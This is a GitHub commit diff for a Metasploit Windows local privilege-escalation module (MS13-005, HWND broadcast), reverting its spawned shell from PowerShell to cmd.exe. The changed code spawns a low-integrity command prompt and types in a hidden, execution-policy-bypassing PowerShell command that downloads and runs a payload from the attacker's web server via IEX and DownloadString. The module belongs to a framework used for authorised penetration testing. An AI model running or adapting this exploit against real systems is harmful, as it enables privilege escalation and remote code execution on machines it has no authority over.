Skip to content

Commit 030640d

Browse files
committed
back to cmd
1 parent d3f3e5d commit 030640d

File tree

1 file changed

+5
-6
lines changed

1 file changed

+5
-6
lines changed

modules/exploits/windows/local/ms13_005.rb renamed to modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def win_shift(number)
8383
def count_cmd_procs
8484
count = 0
8585
client.sys.process.each_process do |proc|
86-
if proc['name'] == 'powershell.exe'
86+
if proc['name'] == 'cmd.exe'
8787
count += 1
8888
end
8989
end
@@ -93,14 +93,13 @@ def count_cmd_procs
9393
end
9494

9595
def cleanup
96-
if datastore['SPAWN_PROMPT']
96+
if datastore['SPAWN_PROMPT'] and @hwin
9797
vprint_status("Rehiding window...")
98-
#client.railgun.user32.ShowWindow(@hwin, 0)
98+
client.railgun.user32.ShowWindow(@hwin, 0)
9999
end
100100
end
101101

102102
def primer
103-
start_service
104103
# syinfo is only on meterpreter sessions
105104
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg=="
106105
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
@@ -116,7 +115,7 @@ def primer
116115
# Spawn low integrity cmd.exe
117116
print_status("Spawning Low Integrity Cmd Prompt")
118117
windir = client.fs.file.expand_path("%windir%")
119-
li_cmd_pid = client.sys.process.execute("powershell.exe", nil, {'Hidden' => false }).pid
118+
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
120119

121120
count = count_cmd_procs
122121
spawned = false
@@ -143,7 +142,7 @@ def primer
143142
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
144143
url = get_uri()
145144
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
146-
command = download_and_run
145+
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
147146
command = Rex::Text.decode_base64(e) if datastore['EEGG']
148147
command.each_char do |c|
149148
print c if command.length < 200

0 commit comments

Comments
 (0)